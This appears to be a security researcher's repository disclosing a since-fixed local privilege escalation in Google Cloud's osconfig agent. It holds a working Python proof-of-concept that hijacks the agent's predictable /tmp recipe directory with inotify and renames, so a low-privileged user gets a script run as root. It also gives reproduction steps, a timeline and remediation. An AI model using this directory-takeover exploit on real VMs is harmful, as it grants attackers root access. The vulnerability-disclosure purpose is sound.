├── README.md ├── osconfig-policy-poc.yaml └── osconfig-privesc-poc3.py /README.md: -------------------------------------------------------------------------------- 1 | Summary 2 | ------- 3 | The google_osconfig_agent process is a component GoogleCloudPlatform (https://github.com/GoogleCloudPlatform/osconfig) 4 | tooling, running on each VM by default. The agent is running as root and responsible for some user-controllable services, 5 | including OS config (https://cloud.google.com/compute/docs/os-config-management), which is kind of a poll based desired 6 | state configuration implementation of Google. 7 | 8 | This repo is hosting a demo about a privilege escalation flaw I identified in the implementation (and was fixed by 9 | Google since then). 10 | 11 | 12 | Issue 13 | ----- 14 | Tasks to be executed are called recipes, and one of the supported recipe types is executing a shell a script. 15 | While processing such a recipe, the agent - that is running as root with full capabilities - saves files temporarily in the 16 | /tmp directory, and then executes them. 17 | The directory created by the agent can be hijacked and thus the script to be executed can be replaced, 18 | effectively leading to local elevation of privileges. 19 | 20 | 21 | Steps to reproduce 22 | ------------------ 23 | 24 | 1. Preparing the environment: 25 | 26 | ``` 27 | gcloud services enable osconfig.googleapis.com 28 | gcloud compute project-info add-metadata --metadata=enable-osconfig=TRUE 29 | ``` 30 | 31 | 2. On the VM, running the exploit script as a low privileged user (nobody) 32 | 33 | ``` 34 | # cat /tmp/poc.txt 35 | cat: /tmp/poc.txt: No such file or directory 36 | 37 | # pip3 install inotify_simple 38 | # chroot --userspec=nobody:nogroup / /home/radimre83/osconfig-privesc-poc3.py 39 | Running as 65534 40 | calling inotify.read() 41 | ... 42 | ``` 43 | 44 | 3. Configuring an os-config policy: 45 | 46 | ``` 47 | gcloud beta compute os-config guest-policies create test-policy-poc --file="C:\Projects\gcp-app-engine-experiments\compute-engine\osconfig-policy-poc.yaml" 48 | ``` 49 | 50 | 4. Output of the poc script when the runscript is deployed (can be 10-15 minutes): 51 | 52 | ``` 53 | Event(wd=1, mask=1073742080, cookie=0, name='recipe-runscript') 54 | New recipe: recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/xxx-recipe-name -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript 55 | New rundir recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/xxx-rundir -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/run_1596821899000709826 56 | ``` 57 | 58 | 5. Verify: 59 | 60 | ``` 61 | # cat /tmp/poc.txt 62 | uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers) 63 | ``` 64 | 65 | 66 | OS: f1-micro instance of GCE with the default Debian 10 image. 67 | 68 | 69 | The fix 70 | ------- 71 | Google turned to using random temp directory instead of a predictable one. 72 | 73 | 74 | Remediation 75 | ------------ 76 | The fixed version was released 2020-09-05. You need to upgrade your OS package. 77 | 78 | 79 | 80 | 81 | Attack scenario 82 | --------------- 83 | This is a local privilege escalation vulnerability, so it could be exploited by someone who already has code execution 84 | rights on the affected GCE VMs: 85 | 86 | - someone having low privileged shell 87 | 88 | - an attacker via a network service already compromised 89 | 90 | The key point is taking over the "base directory" (/tmp/osconfig_software_recipes) which is possible if no recipes 91 | have been processed in the current session yet, which means: 92 | 93 | - no recipes have been executed at all so far (e.g. the osconfig feature was not in use, but will be at some point later) 94 | 95 | - the VM is rebooted and all recipes are present in the db (/var/lib/google/osconfig_recipedb), but some policy updates are executed at some point later 96 | 97 | While this special combination indeed decreases the likelihood of exploitation, 98 | I think leveraging a work directory in /tmp is not secure here. (Neither did Google, this issue is fixed since.) 99 | 100 | 101 | Timeline 102 | -------- 103 | 2020-08-07: Issue discovered and reported 104 | 105 | 2020-08-08: Issue triaged by Google, priority changed to P1 106 | 107 | 2020-08-10: Issue confirmed by Google ("🎉 Nice catch!"), priority changed to P2, severity to S2 108 | 109 | 2020-08-14: Update about the VRP process 110 | 111 | 2020-09-05: Issue fixed by Google 112 | 113 | 114 | 115 | Credits 116 | ------- 117 | Imre Rad 118 | 119 | 120 | Links 121 | ----- 122 | https://github.com/GoogleCloudPlatform/osconfig 123 | 124 | https://issuetracker.google.com/issues/163147689 125 | 126 | https://github.com/GoogleCloudPlatform/osconfig/commit/fa7e4ba5ee85be212ffbac66d96862c792bd270c 127 | 128 | https://www.linkedin.com/in/imre-rad-2358749b/ 129 | -------------------------------------------------------------------------------- /osconfig-policy-poc.yaml: -------------------------------------------------------------------------------- 1 | assignment: 2 | instanceNamePrefixes: 3 | - "test-" 4 | 5 | recipes: 6 | - name: recipe-runscript 7 | desiredState: INSTALLED 8 | installSteps: 9 | - scriptRun: 10 | script: |- 11 | #!/bin/bash 12 | echo "something legit $(date)" >>/tmp/legit.txt 13 | -------------------------------------------------------------------------------- /osconfig-privesc-poc3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import time 5 | from inotify_simple import INotify, flags 6 | 7 | TMP_RUNDIR_NAME = "xxx-rundir" 8 | P_OSSR_LEGIT = "/tmp/osconfig_software_recipes" 9 | time_suffix = str(int(time.time())) 10 | P_OSSR_MALI = P_OSSR_LEGIT+".mali"+time_suffix 11 | P_OSSR_MALI_TMP_RECIPEDIR = os.path.join(P_OSSR_MALI, "xxx-recipe-name") 12 | P_OSSR_MALI_TMP_RUNDIR = os.path.join(P_OSSR_MALI_TMP_RECIPEDIR, TMP_RUNDIR_NAME) 13 | P_OSSR_MALI_TMP_STEPDIR = os.path.join(P_OSSR_MALI_TMP_RUNDIR, "step00") 14 | P_OSSR_MALI_TMP_RECIPE_SOURCE = os.path.join(P_OSSR_MALI_TMP_STEPDIR, "recipe_script_source") 15 | 16 | if os.path.lexists(P_OSSR_LEGIT): 17 | raise Exception(f"{P_OSSR_LEGIT} already exists, takeover is not possible") 18 | 19 | print(f"Running as {os.getuid()}") 20 | 21 | os.makedirs(P_OSSR_LEGIT) 22 | os.makedirs(P_OSSR_MALI_TMP_STEPDIR) 23 | 24 | text_file = open(P_OSSR_MALI_TMP_RECIPE_SOURCE, "w") 25 | text_file.write('#!/bin/bash\nid\nid >> /tmp/poc.txt\n') 26 | text_file.close() 27 | 28 | os.chmod(P_OSSR_MALI_TMP_RECIPE_SOURCE, 0o755) 29 | 30 | inotify = INotify() 31 | watch_flags = flags.CREATE 32 | inotify.add_watch(P_OSSR_LEGIT, watch_flags) 33 | 34 | print("calling inotify.read()") 35 | events = inotify.read() 36 | event = events[0] 37 | print(event) 38 | legit_recipedir = os.path.join(P_OSSR_LEGIT, event.name) 39 | mali_recipedir = os.path.join(P_OSSR_MALI, event.name) 40 | os.rename(P_OSSR_MALI_TMP_RECIPEDIR, mali_recipedir) 41 | print(f"New recipe: {event.name}, rename: {P_OSSR_MALI_TMP_RECIPEDIR} -> {mali_recipedir}") 42 | rundirs = os.listdir(legit_recipedir) # it was created with mkdirAll, so it must exist at this point already 43 | rundir_name = rundirs[0] 44 | legit_rundir = os.path.join(legit_recipedir, rundir_name) 45 | inotify.add_watch(legit_rundir, watch_flags) 46 | mali_rundir = os.path.join(mali_recipedir, rundir_name) 47 | mali_tmp = os.path.join(mali_recipedir, TMP_RUNDIR_NAME) 48 | os.rename(mali_tmp, mali_rundir) 49 | print(f"New rundir {event.name}, rename: {mali_tmp} -> {mali_rundir}") 50 | stepdir_name = "step00" 51 | legit_stepdir = os.path.join(legit_rundir, stepdir_name) 52 | os.rename(P_OSSR_LEGIT, P_OSSR_LEGIT+".legit") 53 | os.rename(P_OSSR_MALI, P_OSSR_LEGIT) 54 | 55 | --------------------------------------------------------------------------------